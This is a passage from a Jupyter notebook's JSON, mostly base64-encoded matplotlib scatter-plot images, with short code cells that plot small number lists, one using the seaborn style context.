\nXOe+G+L8uKFf4R1j/GGSr73GIT+R5DfGis8m2V1Vb9ya6banCfaELTTGOD3GOL768zey8h+s2685\nzHmyRSbcD7bQ6p/7b67e3Ln6de2HW34iycdWf34syd1VVVs04rYy4X6whapqX5J7knz4VQ65Ic6P\nGzp4J3B7khe/6/bJ+J/LLPjh1b+u+nRV/Z1pD7NdrP41011JPnfNXc6TKXiN/UicI1tq9a9rP5/k\n5SSfGWO86jkyxvh2kvNJ/trWTrl9TLAfSfIPV9+C9VhVvWmLR9xufjXJLyT5y1e5/4Y4P7oH7/We\nYXimOF3Hs/JrAN+a5D8meWLK82wLVfX9ST6R5OfGGF+/9u7r/CPOk020xn44R7bYGOPyGOOHkuxL\n8raqess1hzhHttAE+/FkkjvGGHcm+d/5zquLbLCqek+Sl8cYx17rsOuszdz50T14Tyb57md++5K8\nNKVZSDLG+PqVv64aY/xukp1VdeuUx2pt9X1wn0jy8THG49c5xHmyhdbaD+fI9IwxziX5gyTvvuau\nV86RqropyS3x1q1N92r7Mcb48zHGt1Zv/pckf3eLR9tO3p7kfVX1lSS/neSdVfWb1xxzQ5wf3YP3\nk0n+yeqn0P9+kvNjjNPTHmo7q6q9V97bU1Vvy8qfwT+f7lR9rf67/kiS58cYv/IqhzlPtsgk++Ec\n2VpVtaeqdq/+PJfkR5N86ZrDPpnkn67+/FNJfm+4iP2mmGQ/rvmMwfuy8l54NsEY48Exxr4xxh1J\nPpCVP/s/fc1hN8T5cUNfpaGqfivJO5LcWlUnk/xiVt7gnjHGf07yu0l+PMmXk/y/JD87nUm3jwn2\n5KeS/Iuq+naS5SQfmMUTo5G3J/mZJM+tvicuSf5tkr+eOE+mYJL9cI5srTcm+VhV7cjKk4tHxxif\nqqqHkyyNMT6ZlScp/62qvpyVV64+ML1x25tkP+6vqvdl5aonX0vywalNu03diOeH37QGAEBr3d/S\nAADANid4AQBoTfACANCa4AUAoDXBCwBAa4IXAIDWBC8AAK0JXgAAWvv/iV+ANQ6VjT4AAAAASUVO\nRK5CYII=\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fd2e8d40ac8>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.scatter([1,2,3,4], [2,3,4,5])\n", "plt.scatter([1,2,3,4], [1,2,3,4])\n", "plt.scatter([1,2,3,4], [3,4,5,6])" ] }, { "cell_type": "code", "execution_count": 12, "metadata": {}, "outputs": [ { "data": { "image/png": "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\n0LZt2/TEE08sOiefz+uee+7Rli1btGvXLo2NjTWgUntL6cXg4KA2bdpUmRMHDx5sQKX14Xmebrzx\nRt15552LxhoyJ/wm9eabb/rvvvuuv23btqrjR48e9e+44w6/VCr5w8PD/sDAQJ0rrI9afXj99df9\nH/zgB3Wuqv5Onjzpv/vuu77v+/7s7Kx/7bXX+h9++OFp5wRlTiylF0GYF6VSyc/lcr7v+34+n/cH\nBgb84eHh0875wx/+4D/yyCO+7/v+s88+6//oRz+qe531sJRe/PGPf/R/9rOfNaK8uvvtb3/r7927\nt+r/A42YE027or3sssu0Zs2aM47/7W9/04033qiWlhZdcsklmpmZ0UcffVTHCuujVh+CYu3aterr\n65MkxWIxrVu3TidPnjztnKDMiaX0IghaWlrU3t4uSSoWiyoWi2ppaTntnKGhIX3rW9+SJF133XV6\n7bXX5H8Bf0fPUnoRFBMTEzp69KgGBgaqjjdiTjRt0NZy8uRJ9fT0VI57enoC+c1Gkt555x3dcMMN\n+t73vqcPP/yw0eWYGxsb0/vvv6+NGzee9noQ58SZeiEFY154nqcdO3boyiuv1JVXXll1TlxwwQWS\npHA4rI6ODmWz2UaUaq5WLyTpr3/9q7Zv3649e/ZofHy8AVXa27dvn+6//36FQtXjrRFzYsUGbbVP\nIEH8BNfX16ehoSH9+c9/1m233aa77rqr0SWZmpub0549e/TQQw8pFoudNha0OXG2XgRlXjiOo0OH\nDunFF1/U8ePHNTIyctp4kOZErV5cffXVGhoa0l/+8hddccUV+slPftKgSu288MILSiQSuvDCC894\nTiPmxIoN2p6eHk1MTFSOJyYmtHbt2gZW1BixWKyyZXTVVVepWCwqk8k0uCobhUJBe/bs0fbt23Xt\ntdcuGg/SnKjViyDNC0nq7OzU5Zdfrpdffvm013t6eiort2KxqNnZWXV1dTWixLo5Uy/i8bgikYgk\n6aabbvpCPix47NgxDQ0Nqb+/X3v37tXrr7+u++6777RzGjEnVmzQ9vf365lnnpHv+3rnnXfU0dHx\nhf2mejbpdLryCe348eMqlUqKx+MNrmr5+b6vhx9+WOvWrdPtt99e9ZygzIml9CII8yKTyWhmZkaS\nND8/r1dffVXr1q077Zz+/n796U9/kiQ999xz2rRp0xdyRbuUXnz6eYWhoSGtX7++rjXWw7333quX\nXnpJQ0ND2r9/vzZt2qTHH3/8tHMaMSfCplc/B3v37tWbb76pbDarzZs36+6771axWJQkfec739FV\nV12lF198UVu2bNGqVau0b9++Bldso1YfnnvuOT311FNyHEdtbW3av3//F/Ibydtvv61Dhw6pt7dX\nO3bskFTuzX//+19JwZoTS+lFEObFRx99pAceeECe58n3fW3dulVXX321fvnLX+rCCy/UN77xDQ0M\nDOj+++/Xli1btGbNGv3iF79odNkmltKL3//+9xoaGpLjOFqzZo0ee+yxRpddN42eE/yZPAAADK3Y\nrWMAAFYCghYAAEMELQAAhghaAAAMEbQAABgiaAEAMETQAgBgiKAFAMDQ/wMel1KQn0+SaAAAAABJ\nRU5ErkJggg==\n", "text/plain": [ "<matplotlib.figure.Figure at 0x7fd2e8cbf828>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with plt.style.context(\"seaborn\"):\n", " plt.scatter([1,2,3,4], [2,3,4,5])\n", " plt.scatter([1,2,3,4], [1,2,3,4])\n", " plt.scatter([1,2,3,4], [3,4,5,6])" ] }, { "cell_type": "code", "execution_count": 13, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "<matplotlib.collections.PathCollection at 0x7fd2e8b47e48>" ] }, "execution_count": 13, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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